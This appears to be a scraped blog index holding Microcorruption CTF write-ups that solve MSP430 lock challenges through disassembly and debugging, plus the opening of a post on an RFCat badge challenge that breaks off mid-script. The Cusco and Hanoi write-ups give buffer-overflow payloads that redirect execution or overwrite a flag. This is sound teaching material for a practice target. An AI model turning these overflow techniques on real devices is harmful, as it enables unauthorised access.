endian) would be enough for this compare to result in the status flag being set to not have the next conditional jump taken, resulting in a value of 0x7f being pushed to the stack and a syscall being made to unlock the lock!\nMy final, annotated version of the dissasembled opcodes looked as follows:\n  solution Enter db01 as hex encoded input.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/06/microcorruption-reykjavik/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is part of the series of solving \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges which continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/06/microcorruption---cusco/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eCusco\u003c/em\u003e. This challenge is titled \u003cem\u003eReykjavik\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eThis challenge has the following description towards the bottom:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis is Software Revision 02. This release contains military-grade encryption so users can be confident that the passwords they enter can not be read from memory. We apologize for making it too easy for the password to be recovered on prior versions. The engineers responsible have been sacked.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eRough. But ok, time to see of its better this time. Also, \u0026ldquo;military-grade encryption\u0026rdquo;, hah! :P\u003c/p\u003e","title":"microcorruption - reykjavik"},{"content":"  This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Hanoi. This challenge is titled Cusco.\nIf you were to read the description when you enter the challenge, one would see the following towards the bottom:\n This is Software Revision 02. We have improved the security of the lock by removing a conditional flag that could accidentally get set by passwords that were too long.\n Oops :P Lets take a closer look at how this fixed version works.\ncusco This challenge, just like the previous has a main routine that calls login. At first glance, the login routine itself was not too interesting either:\n4500 \u0026lt;login\u0026gt; ; get the password from the user 4500: 3150 f0ff add #0xfff0, sp 4504: 3f40 7c44 mov #0x447c \u0026#34;Enter the password to continue.\u0026#34;, r15 4508: b012 a645 call #0x45a6 \u0026lt;puts\u0026gt; 450c: 3f40 9c44 mov #0x449c \u0026#34;Remember: passwords are between 8 and 16 characters.\u0026#34;, r15 4510: b012 a645 call #0x45a6 \u0026lt;puts\u0026gt; 4514: 3e40 3000 mov #0x30, r14 4518: 0f41 mov sp, r15 451a: b012 9645 call #0x4596 \u0026lt;getsn\u0026gt; 451e: 0f41 mov sp, r15 ; run the test password_valid routine 4520: b012 5244 call #0x4452 \u0026lt;test_password_valid\u0026gt; 4524: 0f93 tst r15 4526: 0524 jz #0x4532 \u0026lt;login+0x32\u0026gt;  ; if r15 is not zero, the previous jump wont be taken 4528: b012 4644 call #0x4446 \u0026lt;unlock_door\u0026gt; 452c: 3f40 d144 mov #0x44d1 \u0026#34;Access granted.\u0026#34;, r15 4530: 023c jmp #0x4536 \u0026lt;login+0x36\u0026gt; 4532: 3f40 e144 mov #0x44e1 \u0026#34;That password is not correct.\u0026#34;, r15 4536: b012 a645 call #0x45a6 \u0026lt;puts\u0026gt; 453a: 3150 1000 add #0x10, sp 453e: 3041 ret Just a simple getsn to get the password using an interrupt, a call to test_password_valid and finally a conditional jump at 0x4524 which I suppose is what we would want to get past by having r15 not be zero (from within test_password_valid I assume).\nLooking at test_password_valid, one would notice pretty much exactly the same logic as was seen in the hanoi challenge:\n[ ... snip ... ] 4468: 3012 7d00 push #0x7d 446c: b012 4245 call #0x4542 \u0026lt;INT\u0026gt;  [ ... snip ... ] Effectively just a call to interrupt 0x7d which asks the HSM to verify the password. Pants. Time to debug this one.\ndebugging I stepped through test_password_valid with a password of 0123456789 and as in the previous challenge, found nothing too interesting about it. Unlike the previous challenge though, the password buffer was closer to the stack pointer when read after the syscall this time. Returning from test_password_valid back to login would leave r15 with 0x0, resulting in the jump at 0x4526 being taken.\n  I fuzzed the password input with a number of parameters, and it became evident that there did not seem to be a way (apart knowing the real password) to prevent the jump at 0x4526 from being taken. However. Remember that \u0026ldquo;passwords can be max 16 characters\u0026rdquo; thing? Well, providing a password of more than 16 characters seems to corrupt the stack when login wants to return. Something I noticed too late.\n  Notice how the stack pointer (sp) is at 0x43f3, which is also in the string of A\u0026rsquo;s i provided as a password! In this case, the offset was 17 bytes from the start of the password buffer. Because we corrupted the stack with our user controlled data, the ret instruction will redirect to any address we place there. In this case, the unlock_door\u0026rsquo;s routine that starts at 0x4446 would be a good place!\nAll we need to do now is provide a string of 16 characters, and then 2 (little endian formatted) bytes for the unlock_door routine.\n  And boom. We have redirected code execution to the unlock_door routine.\nsolution Enter 414141414141414141414141414141414644 as hex encoded input.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/06/microcorruption-cusco/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is part of the series of solving \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges which continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/04/microcorruption---sydney/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eHanoi\u003c/em\u003e. This challenge is titled \u003cem\u003eCusco\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eIf you were to read the description when you enter the challenge, one would see the following towards the bottom:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis is Software Revision 02. We have improved the security of the lock by removing a conditional  flag that could accidentally get set by passwords that were too long.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eOops :P Lets take a closer look at how this fixed version works.\u003c/p\u003e","title":"microcorruption - cusco"},{"content":"  This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Sydney. This challenge is titled Hanoi.\nIf you were to read the description when you enter the challenge, one would see the following towards the bottom:\n LockIT Pro Hardware Security Module 1 stores the login password, ensuring users can not access the password through other means. The LockIT Pro can send the LockIT Pro HSM-1 a password, and the HSM will return if the password is correct by setting a flag in memory.\n Ok, so mention of a HSM here. Neat! Lets take a look at how that works!\nhanoi This time round, our main function is quite a bit shorter than the previous programs we have analysed:\n4438 \u0026lt;main\u0026gt; 4438: b012 2045 call #0x4520 \u0026lt;login\u0026gt; 443c: 0f43 clr r15 Just a call to login which in turn has a similar flow to that which we saw in the previous main functions. A semi-shortened, annotated version of login is:\n4520 \u0026lt;login\u0026gt; 4520: c243 1024 mov.b #0x0, \u0026amp;0x2410 4524: 3f40 7e44 mov #0x447e \u0026#34;Enter the password to continue.\u0026#34;, r15 4528: b012 de45 call #0x45de \u0026lt;puts\u0026gt;  ; but what if i put in more than 16 characters? ;) 452c: 3f40 9e44 mov #0x449e \u0026#34;Remember: passwords are between 8 and 16 characters.\u0026#34;, r15 4530: b012 de45 call #0x45de \u0026lt;puts\u0026gt;  [.. routine to get the password ..] 4544: b012 5444 call #0x4454 \u0026lt;test_password_valid\u0026gt; 4548: 0f93 tst r15 454a: 0324 jz $+0x8 ; erm? what is going on here? 454c: f240 5000 1024 mov.b #0x50, \u0026amp;0x2410 4552: 3f40 d344 mov #0x44d3 \u0026#34;Testing if password is valid.\u0026#34;, r15 4556: b012 de45 call #0x45de \u0026lt;puts\u0026gt;  ; and what about here? 455a: f290 6300 1024 cmp.b #0x63, \u0026amp;0x2410 4560: 0720 jne #0x4570 \u0026lt;login+0x50o\u0026gt;  ; grants us access! 4562: 3f40 f144 mov #0x44f1 \u0026#34;Access granted.\u0026#34;, r15 4566: b012 de45 call #0x45de \u0026lt;puts\u0026gt; 456a: b012 4844 call #0x4448 \u0026lt;unlock_door\u0026gt; 456e: 3041 ret ; failed 4570: 3f40 0145 mov #0x4501 \u0026#34;That password is not correct.\u0026#34;, r15 4574: b012 de45 call #0x45de \u0026lt;puts\u0026gt; 4578: 3041 ret Some interesting things happening there it seems. I think the next routine to check out is most definitely test_password_valid. Taking a look at that routine looks as follows:\n4454 \u0026lt;test_password_valid\u0026gt; ; move a bunch of stuff around 4454: 0412 push r4 4456: 0441 mov sp, r4 4458: 2453 incd r4 445a: 2183 decd sp 445c: c443 fcff mov.b #0x0, -0x4(r4) ; 0x2400 at this stage 4460: 3e40 fcff mov #0xfffc, r14 4464: 0e54 add r4, r14 4466: 0e12 push r14 4468: 0f12 push r15 ; push 0x7d into the stack and prep for a syscall 446a: 3012 7d00 push #0x7d 446e: b012 7a45 call #0x457a \u0026lt;INT\u0026gt;  [.. end this routine ..] 447c: 3041 ret Hmm ok, a bunch of mov instructions and other arithmetic and finally syscall with interrupt 0x7d which is described as \u0026ldquo;Interface with the HSM-1. Set a flag in memory if the password passed in is correct.\u0026quot; according to the locks manual.\nSo not that interesting after all. Looking at login again, it seems like we would ideally want to have unlock_door called from login at 0x456a to win. But how to get there?\ndebugging My static analysis capabilities were pretty much exhausted here, and it was now time for some runtime debugging. I manually stepped through the program, focussing on the test_password_valid routine. I noticed the password I entered as 12345678 was stored at offset 0x2400 and referenced when the interrupt for the HSM to check was set up.\n  A few steps through this routine with no obvious ways to fool it, I decided to park it for now and see what happens after test_password_valid is done. This is now back at login once test_password_valid has returned:\n; test_password_valid has returned 4552: 3f40 d344 mov #0x44d3 \u0026#34;Testing if password is valid.\u0026#34;, r15 4556: b012 de45 call #0x45de \u0026lt;puts\u0026gt;  ; what is this cmp doing? 455a: f290 6300 1024 cmp.b #0x63, \u0026amp;0x2410 4560: 0720 jne #0x4570 \u0026lt;login+0x50\u0026gt;  ; making the jne not get taken will land us at unlock_door 4562: 3f40 f144 mov #0x44f1 \u0026#34;Access granted.\u0026#34;, r15 4566: b012 de45 call #0x45de \u0026lt;puts\u0026gt; 456a: b012 4844 call #0x4448 \u0026lt;unlock_door\u0026gt; I noticed the cmp.b #0x63, \u0026amp;0x2410 instruction again and realised that 0x2410 is close to the area where my password buffer was being stored in memory. Infact, this was just 16 bytes away from 0x2400! Now remember that message telling us passwords are supposed to be 8 to 16 characters long? Well, looks like that is because char 17 and 18 forms part of this cmp.b instruction!\nIf we can make the aforementioned instruction pass the test checking if the value at that memory address is 0x63, (ASCII character c), then we can get past the jne instruction at 0x4560, eventually landing us in unlock_door routine.\nSo given that the distance to 0x2410 is 16 bytes from 0x2400 where our password buffer is stored, lets see if we can overflow the buffer to 0x2410.\n\u0026gt;\u0026gt;\u0026gt; print(\u0026#39;A\u0026#39; * 16 + \u0026#39;c\u0026#39;) AAAAAAAAAAAAAAAAc I set a breakpoint at 0x455a with break 455a in the debugger and continued the CPU entering AAAAAAAAAAAAAAAAc as the password when prompted.\n  After hitting the breakpoint and inspecting the contents of memory address 0x2410 with read 2410 in the debugger reveals that the byte 0x63 is at 0x2410 (thanks to our overflow). This results in the cmp.b instruction setting the status register to 0x3 (CZ), which in turn means the jump is not taken!\nTurns out test_password_valid was just a decoy and the real vulnerability was a simple buffer overflow.\nsolution Enter AAAAAAAAAAAAAAAAc as ASCII or 4141414141414141414141414141414163 as hex encoded input.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/05/microcorruption-hanoi/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis post is part of the series of solving \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges which continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/04/microcorruption---sydney/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eSydney\u003c/em\u003e. This challenge is titled \u003cem\u003eHanoi\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eIf you were to read the description when you enter the challenge, one would see the following towards the bottom:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eLockIT Pro Hardware Security Module 1 stores the login password, ensuring users can not access the password through other means. The LockIT Pro can send the LockIT Pro HSM-1 a password, and the HSM will return if the password is correct by setting a flag in memory.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eOk, so mention of a HSM here. Neat! Lets take a look at how that works!\u003c/p\u003e","title":"microcorruption - hanoi"},{"content":"  The next post in the series of solving the microcorruption.com ctf challenges continues from the previous challenge called New Orleans. This challenge is titled Sydney.\nIf you were to read the description when you enter the challenge, one would see the following right at the bottom:\n This is Software Revision 02. We have received reports that the prior version of the lock was bypassable without knowing the password. We have fixed this and removed the password from memory.\n Lol. Lets take a closer look.\nsydney Performing a static analysis of the code, one can see that this time round there is no silly create_password routine or something similar.\n4438 \u0026lt;main\u0026gt; 4438: 3150 9cff add #0xff9c, sp 443c: 3f40 b444 mov #0x44b4 \u0026#34;Enter the password to continue.\u0026#34;, r15 4440: b012 6645 call #0x4566 \u0026lt;puts\u0026gt; 4444: 0f41 mov sp, r15 4446: b012 8044 call #0x4480 \u0026lt;get_password\u0026gt; 444a: 0f41 mov sp, r15 444c: b012 8a44 call #0x448a \u0026lt;check_password\u0026gt; 4450: 0f93 tst r15 In fact, just a simple get_password and check_password routine before the tst r15 call at 0x4450. The call to get_password just ends up with a syscall, prompting you for a password, so that is not really interesting to us. What is interesting though is check_password:\n448a \u0026lt;check_password\u0026gt; 448a: bf90 4c7e 0000 cmp #0x7e4c, 0x0(r15) 4490: 0d20 jnz $+0x1c 4492: bf90 2142 0200 cmp #0x4221, 0x2(r15) 4498: 0920 jnz $+0x14 449a: bf90 4522 0400 cmp #0x2245, 0x4(r15) 44a0: 0520 jne #0x44ac \u0026lt;check_password+0x22\u0026gt; 44a2: 1e43 mov #0x1, r14 44a4: bf90 587d 0600 cmp #0x7d58, 0x6(r15) 44aa: 0124 jeq #0x44ae \u0026lt;check_password+0x24\u0026gt; 44ac: 0e43 clr r14 44ae: 0f4e mov r14, r15 44b0: 3041 ret At first sight it looks like the code does a number of compares to values at an offset from the memory address at r15. Could these be parts of the actual password? Lets inspect with the debugger. Setting a breakpoint at 0x448a and continuing the CPU (entering a password of test when prompted) until we reach it should help in revealing what is happening.\n  Hah, so after the first cmp instruction, the status register is 0x4 (N), meaning the jump 14 bytes onwards to 0x44ac will be taken, effectively ending the check_password routine prematurely. The bytes in r15 at the time of the first cmp instruction was 0x439c, which in turn pointed to 0x7465 in the memory dump (visualised with read r15 in the debugger). The bytes in memory is clearly the password (test in this case) that I entered when I was prompted.\n\u0026gt;\u0026gt;\u0026gt; \u0026#39; \u0026#39;.join([hex(ord(x)) for x in \u0026#39;test\u0026#39;]) \u0026#39;0x74 0x65 0x73 0x74\u0026#39; So, lets take the bytes in the three cmp calls and enter that as the password, keeping our breakpoints and seeing what the CPU does then. The six bytes of interest are: 0x7e 0x4c 0x42 0x21 0x22 0x45.\n\u0026gt;\u0026gt;\u0026gt; \u0026#39;7e4c42212245\u0026#39;.decode(\u0026#39;hex\u0026#39;) \u0026#39;~LB!\u0026#34;E\u0026#39; Resetting the CPU, entering ~LB!\u0026quot;E as password and continuing untill we hit the breakpoint at 0x448a and then stepping past the first cmp and jnz instructions should now look like this:\n  Hmm. The value 0x7e4c was at 0x439c (the address r15 points to), but the cmp call set the status register to 0x4 (N), ending the check_password function again. :|\nWhat I think this challenge is supposed to teach you is about the endianness of the CPU which means it stores values in little endian format in memory. What that means for us is that that password values should be provided as 0x4c7e instead of as 0x7e4c like we did. So, lets re-arrange the password we enter, and continue to the breakpoint again.\n\u0026gt;\u0026gt;\u0026gt; \u0026#39;4c7e21424522\u0026#39;.decode(\u0026#39;hex\u0026#39;) \u0026#39;L~!BE\u0026#34;\u0026#39;   Woohoo. This time the jnz instruction is not taken as the status register is now 0x3 (CZ) and the next values provided as part of the password checked. By now you might think you have won and decide to just continue the CPU to unlock the lock.\nWell, no. See, we missed the part where another cmp happens just after 0x1 is moved into r14.\n  This means that when cmp #0x7d58, 0x6(r15) at 0x44a4 is called, we will be comparing to 0x0 (the bytes at r15+6), resulting in the jump at 0x44aa not being taken, clearing r14 before the routine finishes.\nSo, to prevent that adn as a final password, we need to enter those the bytes 0x58 and 0x7d too to unlock the lock.\n\u0026gt;\u0026gt;\u0026gt; \u0026#39;4c7e21424522587d\u0026#39;.decode(\u0026#39;hex\u0026#39;) \u0026#39;L~!BE\u0026#34;X}\u0026#39; Continue the CPU and unlock the lock!\nsolution Enter L~!BE\u0026quot;X} as ASCII or 4c7e21424522587d as hex encoded input.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/04/microcorruption-sydney/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThe next post in the series of solving the \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/03/microcorruption---new-orleans/\"\u003eprevious challenge\u003c/a\u003e called \u003cem\u003eNew Orleans\u003c/em\u003e. This challenge is titled \u003cem\u003eSydney\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eIf you were to read the description when you enter the challenge, one would see the following right at the bottom:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis is  Software Revision 02.  We have received reports that the prior version of the lock was  bypassable without knowing the password. We have fixed this and removed the password from memory.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eLol. Lets take a closer look.\u003c/p\u003e","title":"microcorruption - sydney"},{"content":"  The next post in the series of solving the microcorruption.com ctf challenges continues from the previous small tutorial challenge post. This challenge is titled New Orleans.\nnew orleans This challenge no longer holds your hand in terms of a nice and easy to follow tutorial. Instead, you are presented with the machine code and the debugger. Lets get to it!\nYou will immediately notice that there are a lot of functions in the beginning of the code section that do some setup work. Although important, they are not always that interesting. Instead, we are almost always only really interested in what happens once we hit the main function.\n4438 \u0026lt;main\u0026gt; 4438: 3150 9cff add #0xff9c, sp 443c: b012 7e44 call #0x447e \u0026lt;create_password\u0026gt; 4440: 3f40 e444 mov #0x44e4 \u0026#34;Enter the password to continue\u0026#34;, r15 4444: b012 9445 call #0x4594 \u0026lt;puts\u0026gt; 4448: 0f41 mov sp, r15 444a: b012 b244 call #0x44b2 \u0026lt;get_password\u0026gt; 444e: 0f41 mov sp, r15 4450: b012 bc44 call #0x44bc \u0026lt;check_password\u0026gt; 4454: 0f93 tst r15 4456: 0520 jnz #0x4462 \u0026lt;main+0x2a\u0026gt; 4458: 3f40 0345 mov #0x4503 \u0026#34;Invalid password; try again.\u0026#34;, r15 445c: b012 9445 call #0x4594 \u0026lt;puts\u0026gt; 4460: 063c jmp #0x446e \u0026lt;main+0x36\u0026gt; 4462: 3f40 2045 mov #0x4520 \u0026#34;Access Granted!\u0026#34;, r15 4466: b012 9445 call #0x4594 \u0026lt;puts\u0026gt; 446a: b012 d644 call #0x44d6 \u0026lt;unlock_door\u0026gt; 446e: 0f43 clr r15 4470: 3150 6400 add #0x64, sp A quick look at the call\u0026rsquo;s that get made, we can see the flow is pretty simple. First we run a create_password routine, then get_password, then do a check_password. Depending on the contents of r15 once we have done that, we will jump to unlock the lock or not.\nLets take a closer look at create_password. This seems like an odd method to have.\n447e \u0026lt;create_password\u0026gt; 447e: 3f40 0024 mov #0x2400, r15 4482: ff40 2e00 0000 mov.b #0x2e, 0x0(r15) 4488: ff40 6700 0100 mov.b #0x67, 0x1(r15) 448e: ff40 3700 0200 mov.b #0x37, 0x2(r15) 4494: ff40 4d00 0300 mov.b #0x4d, 0x3(r15) 449a: ff40 4700 0400 mov.b #0x47, 0x4(r15) 44a0: ff40 4800 0500 mov.b #0x48, 0x5(r15) 44a6: ff40 2f00 0600 mov.b #0x2f, 0x6(r15) 44ac: cf43 0700 mov.b #0x0, 0x7(r15) 44b0: 3041 ret The create_password routine seems to be moving some bytes (using mov.b) at incrementing offsets relative to 0x2400. The final mov.b instruction at 0x44ac moves a null byte into the last memory location before returning the method call. I guess its obvious what is going on here already.\nLets take a look at check_password too:\n44bc \u0026lt;check_password\u0026gt; 44bc: 0e43 clr r14 44be: 0d4f mov r15, r13 44c0: 0d5e add r14, r13 44c2: ee9d 0024 cmp.b @r13, 0x2400(r14) 44c6: 0520 jne #0x44d2 \u0026lt;check_password+0x16\u0026gt; 44c8: 1e53 inc r14 44ca: 3e92 cmp #0x8, r14 44cc: f823 jne #0x44be \u0026lt;check_password+0x2\u0026gt; 44ce: 1f43 mov #0x1, r15 44d0: 3041 ret 44d2: 0f43 clr r15 44d4: 3041 ret A quick read seems like 8 cmp.b operations are performed from the same offset we have had when create_password started writing those bytes. So, create_password writes the password to memory, check_password just compares those bytes to the ones entered by the user.\nLets debug this application and see what it looks like. First, set a breakpoint just after create_password is done at 0x4440 with break 4440. This will let us have a peek at 0x2400 to see what that the memory looks like there. The next break point that might be interesting would be where the character comparisons are occurring in check_password at 0x44c2, so add another break point with break 44c2. Finally, hit c to continue the CPU.\nRight after we hit our first breakpoint, we can see that the bytes 2e67 374d 4748 2f00 were written from 0x2400 onwards.\n  Using a small one-liner, we can convert the bytes that were written to ASCII and confirm it matches the section in memory:\n~ » python -c \u0026#34;print \u0026#39;2e67374d47482f00\u0026#39;.decode(\u0026#39;hex\u0026#39;)\u0026#34; .g7MGH/ I am pretty sure this is the password, so continue the CPU and enter .g7MGH/ when the interrupt prompts you for a password. Continue the CPU again until we hit our next breakpoint to see the byte comparisons occur. The CPU should step all the way though the loop for the password and finally hit the mov instruction at 0x44ce which sets r15 to 0x1 for that tst instruction in main later.\n  The tst instruction on register r15 should have a non-zero return in the state register sr, resulting in a win condition. This means the password is .g7MGH/!\nsolution Enter a password of .g7MGH/ in ASCII or 2e67374d47482f00 as hex.\nother challenges For my other write ups in the microcorruption series, checkout this link\n","permalink":"https://leonjza.github.io/blog/2018/03/03/microcorruption-new-orleans/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThe next post in the series of solving the \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges continues from the \u003ca href=\"https://leonjza.github.io/blog/2018/03/03/microcorruption---tutorial/\"\u003eprevious small tutorial challenge\u003c/a\u003e post. This challenge is titled \u003cem\u003eNew Orleans\u003c/em\u003e.\u003c/p\u003e","title":"microcorruption - new orleans"},{"content":"  These posts will detail my answers to solving various microcorruption.com ctf challenges. To begin, you should have at least had a look at the lock manual for a number of helpful hints. These challenges are built to run on a MSP430 microcontroller unit, so if you need any assembly references, that is the architecture your are looking for!\nLets look at the tutorial level first.\ntutorial level As expected, the first level is super simple. Most of your time is spent on this level getting to know the web based debugger as well as general tips and tricks for moving around.\nWhen you follow the tutorial, you will notice that the flaw you need to exploit in this challenge is simply a length based one as the check_password routine simply checks if the password has a length of 9.\n4484 \u0026lt;check_password\u0026gt; 4484: 6e4f mov.b @r15, r14 4486: 1f53 inc r15 4488: 1c53 inc r12 448a: 0e93 tst r14 448c: fb23 jnz #0x4484 \u0026lt;check_password+0x0\u0026gt; 448e: 3c90 0900 cmp #0x9, r12 ; password length check 4492: 0224 jeq #0x4498 \u0026lt;check_password+0x14\u0026gt; Once you hit the instruction at 0x4484, the first character of the password you entered is loaded into r14 (which you can see from the memory layout if you were to browse to 0x439c) from the memory location pointed to in r15. Next, the registers r12 and r15 are incremented. This will continue until a null byte (a typical string terminator in C) is reached, causing the jump at 0x448c not to be followed, making the cmp be the next instruction.\nIf r12 ends up being 0x0009 (indicating that out passwords was 8 characters long with a null byte), then the jump at 0x4492 will occur, finally calling the interrupt to unlock the lock.\n  solution Enter any 8 character string, such as password.\nother challenges For my other write ups in the microcorruption series, checkout this link.\n","permalink":"https://leonjza.github.io/blog/2018/03/03/microcorruption-tutorial/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/microcorruption/microcorruption.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThese posts will detail my answers to solving various \u003ca href=\"https://microcorruption.com\"\u003emicrocorruption.com\u003c/a\u003e ctf challenges. To begin, you should have at least had a look at the \u003ca href=\"https://microcorruption.com/manual.pdf\"\u003elock manual\u003c/a\u003e for a number of helpful hints. These challenges are built to run on a MSP430 microcontroller unit, so if you need any assembly references, that is the architecture your are looking for!\u003c/p\u003e\n\u003cp\u003eLets look at the tutorial level first.\u003c/p\u003e","title":"microcorruption - tutorial"},{"content":"In this post I want to talk a little about the BSides Cape Town 2017 RFCat challenge and how I went about trying to build a challenge for it. Unfortunately I was not able to able to attend the conference itself, but still had the privilege to contribute in some way!\nThe first question you may have could be: \u0026ldquo;But why RFCat?\u0026rdquo;. Truthfully, some people that are way better at this hacking thing than me (and that were also primarily responsible for this years BSides badge hardware) came up with this idea: \u0026ldquo;Wouldn\u0026rsquo;t it be cool to have a cc1111 chip on the badges?\u0026rdquo;. The cc1111 chip is RFCat compatible, so naturally this would be the goto firmware to use for the chip. With this in mind, I got invited by @elasticninja to see if I would be interested in building an RFCat based challenge and without hesitation agreed! So there we were.\n  the hardware Taking a quick look at the actual hardware used, the badge itself was composed of two separate physical badges which included a black \u0026ldquo;flux capacitor\u0026rdquo; badge and a red \u0026ldquo;rf badge\u0026rdquo;. The flux capacitor badge sported an 2AL3B ESP chip that gave the badge wifi capabilities amongst others cool things.\n  The power bank used was estimated to give at least a full days power to the badge allowing for people to play with and hack away without needing a recharge too often.\n  The power bank itself was wired to a USB cable, letting you unplug it and charge the power bank easily. There were also two buttons soldered on to the back of the badge.\nFor the purposes of this post though, we will only focus on the red RF badge with the cc1111 chip soldered on.\n  The RF badge (as already mentioned previously) had a cc1111, RFCat compatible chip, a USB port and a button (no idea what that did haha).\n  The back of the badge was not that interesting.\nNow, unfortunately due to time constraints I was not able to get my hands on one of these badges before the conference and as such had to make another plan to get an environment up and running that would mimic the badge hardware as close as possible. Thankfully, sourcing some Yardstick One\u0026rsquo;s was relatively easy due to awesome hacker friends ;)\nchallenge ideas Getting to the point where you want to build a challenge, in my limited experience anyways, I believe that it is important for oneself to set out some high level goals to help you first of all, actually achieve your goals and secondly, keep you focussed in a direction without falling victim to the squirrel effect. In my case, I settled on the following goals:\n Low barrier of entry. Not knowing everything there is to know about RF should not hinder your ability to play (and win) the challenge. When you get a badge, you must have something working already. Even if crippled in its \u0026ldquo;factory default\u0026rdquo; state, it should be enough to at least have some fun. It should be possible to replicate, adapt and hack at later even after the con is over.  As you can see, these are very high level goals without much details, but it was enough for me to get started and reflect on should I lose track of what I am trying to do. When talking to Mike about what he had in mind in terms of the challenge and the logistics thereof, it was explained that a hardware box would be used as the goal to unlock using the RFCat based challenge. In essence, once a player \u0026ldquo;wins\u0026rdquo;, a small bit of python code would be used to unlock a magnetic lock or something similar, thereby allowing you to retrieve the prize. At the conference, this box also included a lock picking challenge!\n  After some time pondering ideas, I figured that for the challenge itself, it may be necessary for clients to talk to a \u0026ldquo;server\u0026rdquo;. The server needs the ability to receive messages from clients, process them and be authoritative in terms of who has progressed to which state of the game. At the same time I realised that it might be cool for the badges to be able to talk to each other using a similar medium. An idea that has been discussed at the office a few times now (albeit in a slightly different form).\nSo, I settled on the idea of having a broadcast-like chat system for the RF badges, and a server using a similar communications medium to be used for challenges. In order to \u0026ldquo;reveal\u0026rdquo; this challenge though, I figured it might be cool to have a working implementation of this broadcast-like chat system, whereby badge owners could partake in this RF based chat network by simply starting the client and being in range. The implementation given with the badge would say use a different modulation/syncword to the challenge server, there in lies some exploratory/clue finding to finally \u0026ldquo;connect\u0026rdquo; to the challenge server.\nbuilding blocks for the broadcast-like chat system Before I could do anything interesting with the broadcast idea though, I had to step back a few steps and get the two Yardstick One\u0026rsquo;s I had to \u0026ldquo;talk to each other\u0026rdquo;. Something that sounds super simple in theory (and it actually is), but when trying it gave me a few hours of grey hairs. Previously I have only been able to send messages and receive/replay other messages.\nUsing my host workstation, I had a Yardstick One \u0026amp; RFCat fired up in research mode, and another similar setup in a VMWare based virtual machine with another Yardstick One connected using USB passthrough mode to the VM. This setup allowed me to easily play with the send/receive ideas between the Yardsticks and test various things.\n  I tried quite a few things to be honest. Making sure I use the same frequency, modulation and baud rate on both ends of the transmission seemed obvious but just didn\u0026rsquo;t get me a way to reliably transfer data between the two Yardsticks. I would prepare hex encoded bytes to send with RFsend() on the one end, and try and receive them again using RFRecv() on the other end but just couldn\u0026rsquo;t reliably get transmissions to flow. In fact, all I got was noise. Using the discover() method, one could remove some of the noise filtering automatically applied by RFCat (lowball mode) to try and discover more signals, but this too failed me. Eventually I toggled the IdentSyncWord flag in the discover() method and realised that I never set a sync word to begin with. Well\u0026hellip; one call to setMdmSyncWord() later and could finally reliably transfer frames between the two Yardstick Ones!\n  With the ability to transfer frames reliably, it was time to write some scripts to make this easier. A simple send.py and receive.py would suffice. All they need to do is setup the radios by configuring the frequency, sync word, baud rate and modulation in use. Then, simply encode and send / decode on receive.\n  Those scripts looked as follows:\n# send.py import binascii import sys import rflib # get the message from the command line message = \u0026#39; \u0026#39;.join(sys.argv[1:]) print(\u0026#39;Sending: {0}\u0026#39;.format(message)) message = binascii.hexlify(message) print(\u0026#39;Message hex encoded: {0}\u0026#39;.format(message)) # setup the radio d = rflib.RfCat() d.setFreq(868000000) d.setMdmSyncWord(0x1985) d.setMdmModulation(rflib.MOD_2FSK) d.setMdmDRate(9600) print(\u0026#39;Sending...\u0026#39;) d.RFxmit(data=message, repeat=50) print(\u0026#39;Done!\u0026#39;) # receive.py import binascii import sys import rflib # setup the radio d = rflib.RfCat() d.setFreq(868000000) d.setMdmSyncWord(0x1985) d.setMdmModulation(rflib.MOD_2FSK) d.setMdmDRate(9600) print(\u0026#39;Waiting 